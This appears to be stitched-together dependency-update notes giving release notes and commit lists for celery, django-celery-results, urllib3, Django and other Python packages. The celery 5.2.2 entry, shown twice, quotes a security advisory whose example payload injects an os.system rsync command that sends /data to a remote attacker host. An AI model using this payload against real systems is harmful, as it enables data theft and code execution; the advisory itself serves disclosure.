• 9e9e840 2022.12.07
• b81bdb2 2022.09.24
• 939a28f 2022.09.14
• aca828a 2022.06.15.2
• de0eae1 Only use importlib.resources's new files() / Traversable API on Python ≥3.11 ...
• b8eb5e9 2022.06.15.1
• 47fb7ab Fix deprecation warning on Python 3.11 (#199)
• b0b48e0 fixes #198 -- update link in license
• 9d514b4 2022.06.15
• 4151e88 Add py.typed to MANIFEST.in to package in sdist (#196)
• Additional commits viewable in compare view

Sourced from django-celery-results's releases.

v2.4.0

What's Changed

• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/django-celery-results#312
• drop django 2.2 by @​auvipy in celery/django-celery-results#317
• save extended properties only when asked for by @​AmitPhulera in celery/django-celery-results#316
• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/django-celery-results#320
• Fix atomic transaction not routing to the the correct DB by @​nofalx in celery/django-celery-results#324

New Contributors

• @​AmitPhulera made their first contribution in celery/django-celery-results#316
• @​nofalx made their first contribution in celery/django-celery-results#324

Full Changelog: https://github.com/celery/django-celery-results/compare/v2.3.1...v2.4.0

v2.3.1

What's Changed

• Remove hard dependency on psycopg2 by @​intgr in celery/django-celery-results#292
• Fix #296 Stop producing a universal wheel, python 2 is unspported by @​gopackgo90 in celery/django-celery-results#297
• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/django-celery-results#298
• Update group related Simplified Chinese translations. by @​ifmos in celery/django-celery-results#300
• fix: The description content type set to RST by @​marksweb in celery/django-celery-results#301
• update tox by @​auvipy in celery/django-celery-results#303
• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/django-celery-results#304

New Contributors

• @​marksweb made their first contribution in celery/django-celery-results#301

Full Changelog: https://github.com/celery/django-celery-results/compare/v2.3.0...v2.3.1

v2.3.0

What's Changed

• Fix default_app_config deprecation by @​auvipy in celery/django-celery-results#221
• enable pre-commit by @​graingert in celery/django-celery-results#223
• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/django-celery-results#225
• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/django-celery-results#226
• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/django-celery-results#228
• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/django-celery-results#231
• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/django-celery-results#234
• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/django-celery-results#236
• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/django-celery-results#240
• Use string values for django-cache keys #230 by @​badeendjuh in celery/django-celery-results#242
• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/django-celery-results#243
• feat: raw delete expired instead of Queryset.delete by @​daadu in celery/django-celery-results#235
• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/django-celery-results#244
• Fix issue `pydoc.ErrorDuringImport: problem in django_celery_results.… by @​pmaigutyak in celery/django-celery-results#247
• drop flake8plus by @​auvipy in celery/django-celery-results#246
• try update makefile by @​auvipy in celery/django-celery-results#245
• Test on Python 3.10 by @​D3X in celery/django-celery-results#249
• [pre-commit.ci] pre-commit autoupdate by @​pre-commit-ci in celery/django-celery-results#251
• Russian language support by @​ildarworld in celery/django-celery-results#255

... (truncated)

Sourced from django-celery-results's changelog.

2.4.0

:release-date: 2022-06-29 4:30 P.M. UTC+6:00 :release-by: Asif Saif Uddin

• Fix #315 Save args, kwargs and other extended props only when result_extended config is set to True.
• Fix atomic transaction not routing to the the correct DB (#324).
• Drop django 2.2 from matrix

.. _version-2.3.1:

2.3.1

:release-date: 2022-04-17 12:50 P.M. UTC+6:00 :release-by: Asif Saif Uddin

• Remove hard dependency on psycopg2.
• Fix #296 Stop producing a universal wheel, python 2 is unspported.
• fix: The description content type for setuptools needs to be rst to markdown.

.. _version-2.3.0:

2.3.0

:release-date: 2022-03-01 1:45 p.m. UTC+6:00 :release-by: Asif Saif Uddin

• Fix default_app_config deprecation (#221)
• Use string values for django-cache keys #230 (#242)
• feat: raw delete expired instead of Queryset.delete (#235)
• Fix `pydoc.ErrorDuringImport: problem in django_celery_results url
• Russian language support (#255)
• Add Simplified Chinese translation strings.
• Minor code clean up
• feat: add periodic_task_name (#261)
• Update CI with django 4.0 (#272)
• Add translation of the messages to brazilian portuguese (#278)
• Fix properties default value (#281)
• Work around Oracle migration instability
• Fix field size for MySQL (#285)
• Update python & pypy min version (#291)
• bum min pytest versions

.. _version-2.2.0:

2.2.0

... (truncated)

• 3b34dd9 Bump version: v2.3.1 → v2.4.0
• f02f6a6 changelog entry for v2.4.0
• 2ebdcce remove django 2.2 from classifier
• e927770 Fix atomic transaction not routing to the the correct DB (#324)
• 16a18d9 [pre-commit.ci] pre-commit autoupdate
• ad508fe save extended properties only when asked for (#316)
• e174c99 drop django 2.2
• 09b45a9 [pre-commit.ci] pre-commit autoupdate
• 28de6cf reademe fix
• 8a80c11 Bump version: v2.3.0 → v2.3.1
• Additional commits viewable in compare view

• d43c7c7 release 7.16.3
• 5fa1e40 Merge pull request from GHSA-pq7m-3gw7-gq5x
• 8df8971 back to dev
• 9f477b7 release 7.16.2
• 138f266 bring back release helper from master branch
• 5aa3634 Merge pull request #13341 from meeseeksmachine/auto-backport-of-pr-13335-on-7...
• bcae8e0 Backport PR #13335: What's new 7.16.2
• 8fcdcd3 Pin Jedi to <0.17.2.
• 2486838 release 7.16.1
• 20bdc6f fix conda build
• Additional commits viewable in compare view

Sourced from celery's releases.

5.2.2

Release date: 2021-12-26 16:30 P.M UTC+2:00

Release by: Omer Katz

• Various documentation fixes.

• Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

  When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

  {
        "exc_module": "os",
        'exc_type': "system",
        "exc_message": "rsync /data [email protected]:~/data"
  }
  

  According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

v5.2.1

Release date: 2021-11-16 8.55 P.M UTC+6:00

Release by: Asif Saif Uddin

• Fix rstrip usage on bytes instance in ProxyLogger.
• Pass logfile to ExecStop in celery.service example systemd file.
• fix: reduce latency of AsyncResult.get under gevent (#7052)
• Limit redis version: <4.0.0.
• Bump min kombu version to 5.2.2.
• Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.

... (truncated)

Sourced from celery's changelog.

5.2.2

:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz

• Various documentation fixes.

• Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

  When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]0:~/data as the exception arguments like so:

  .. code-block:: python

    {
          "exc_module": "os",
          'exc_type': "system",
          "exc_message": "rsync /data [email protected]:~/data"
    }
  

  According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

.. _version-5.2.1:

5.2.1

:release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin

• Fix rstrip usage on bytes instance in ProxyLogger.
• Pass logfile to ExecStop in celery.service example systemd file.
• fix: reduce latency of AsyncResult.get under gevent (#7052)
• Limit redis version: <4.0.0.
• Bump min kombu version to 5.2.2.

... (truncated)

• b21c13d Bump version: 5.2.1 → 5.2.2
• a60b486 Add changelog for 5.2.2.
• 3e5d630 Fix changelog formatting.
• 1f7ad7e Fix CVE-2021-23727 (Stored Command Injection securtiy vulnerability).
• 2d8dbc2 Update configuration.rst
• 9596aba Fix typo in documentation
• 639ad83 update doc to reflect Celery 5.2.x (#7153)
• d32356c Bump version: 5.2.0 → 5.2.1
• 6842a78 Merge branch 'master' of https://github.com/celery/celery
• 4c92cb7 changelog for v5.2.1
• Additional commits viewable in compare view

• 2da029d [2.2.x] Bumped version for 2.2.24 release.
• f27c38a [2.2.x] Fixed CVE-2021-33571 -- Prevented leading zeros in IPv4 addresses.
• 053cc95 [2.2.x] Fixed CVE-2021-33203 -- Fixed potential path-traversal via admindocs'...
• 6229d87 [2.2.x] Confirmed release date for Django 2.2.24.
• f163ad5 [2.2.x] Added stub release notes and date for Django 2.2.24.
• bed1755 [2.2.x] Changed IRC references to Libera.Chat.
• 63f0d7a [2.2.x] Refs #32718 -- Fixed file_storage.test_generate_filename and model_fi...
• 5fe4970 [2.2.x] Post-release version bump.
• 61f814f [2.2.x] Bumped version for 2.2.23 release.
• b8ecb06 [2.2.x] Fixed #32718 -- Relaxed file name validation in FileField.
• Additional commits viewable in compare view

Sourced from urllib3's releases.

1.26.5

:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap

• Fixed deprecation warnings emitted in Python 3.10.
• Updated vendored six library to 1.16.0.
• Improved performance of URL parser when splitting the authority component.

If you or your organization rely on urllib3 consider supporting us via GitHub Sponsors

1.26.4

:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap

• Changed behavior of the default SSLContext when connecting to HTTPS proxy during HTTPS requests. The default SSLContext now sets check_hostname=True.

If you or your organization rely on urllib3 consider supporting us via GitHub Sponsors

1.26.3

:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap

• Fixed bytes and string comparison issue with headers (Pull #2141)

• Changed ProxySchemeUnknown error message to be more actionable if the user supplies a proxy URL without a scheme (Pull #2107)

If you or your organization rely on urllib3 consider supporting us via GitHub Sponsors

1.26.2

:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap

• Fixed an issue where wrap_socket and CERT_REQUIRED wouldn't be imported properly on Python 2.7.8 and earlier (Pull #2052)

1.26.1

:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap

• Fixed an issue where two User-Agent headers would be sent if a User-Agent header key is passed as bytes (Pull #2047)

1.26.0

:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap

• Added support for HTTPS proxies contacting HTTPS servers (Pull #1923, Pull #1806)

• Deprecated negotiating TLSv1 and TLSv1.1 by default. Users that still wish to use TLS earlier than 1.2 without a deprecation warning should opt-in explicitly by setting ssl_version=ssl.PROTOCOL_TLSv1_1 (Pull #2002) Starting in urllib3 v2.0: Connections that receive a DeprecationWarning will fail

• Deprecated Retry options Retry.DEFAULT_METHOD_WHITELIST, Retry.DEFAULT_REDIRECT_HEADERS_BLACKLIST and Retry(method_whitelist=...) in favor of Retry.DEFAULT_ALLOWED_METHODS, Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT, and Retry(allowed_methods=...) (Pull #2000) Starting in urllib3 v2.0: Deprecated options will be removed

... (truncated)

Sourced from urllib3's changelog.

1.26.5 (2021-05-26)

• Fixed deprecation warnings emitted in Python 3.10.
• Updated vendored six library to 1.16.0.
• Improved performance of URL parser when splitting the authority component.

1.26.4 (2021-03-15)

• Changed behavior of the default SSLContext when connecting to HTTPS proxy during HTTPS requests. The default SSLContext now sets check_hostname=True.

1.26.3 (2021-01-26)

• Fixed bytes and string comparison issue with headers (Pull #2141)

• Changed ProxySchemeUnknown error message to be more actionable if the user supplies a proxy URL without a scheme. (Pull #2107)

1.26.2 (2020-11-12)

• Fixed an issue where wrap_socket and CERT_REQUIRED wouldn't be imported properly on Python 2.7.8 and earlier (Pull #2052)

1.26.1 (2020-11-11)

• Fixed an issue where two User-Agent headers would be sent if a User-Agent header key is passed as bytes (Pull #2047)

1.26.0 (2020-11-10)

• NOTE: urllib3 v2.0 will drop support for Python 2. Read more in the v2.0 Roadmap <https://urllib3.readthedocs.io/en/latest/v2-roadmap.html>_.

• Added support for HTTPS proxies contacting HTTPS servers (Pull #1923, Pull #1806)

• Deprecated negotiating TLSv1 and TLSv1.1 by default. Users that still wish to use TLS earlier than 1.2 without a deprecation warning

... (truncated)

• d161647 Release 1.26.5
• 2d4a3fe Improve performance of sub-authority splitting in URL
• 2698537 Update vendored six to 1.16.0
• 07bed79 Fix deprecation warnings for Python 3.10 ssl module
• d725a9b Add Python 3.10 to GitHub Actions
• 339ad34 Use pytest==6.2.4 on Python 3.10+
• f271c9c Apply latest Black formatting
• 1884878 [1.26] Properly proxy EOF on the SSLTransport test suite
• a891304 Release 1.26.4
• 8d65ea1 Merge pull request from GHSA-5phf-pp7p-vc2r
• Additional commits viewable in compare view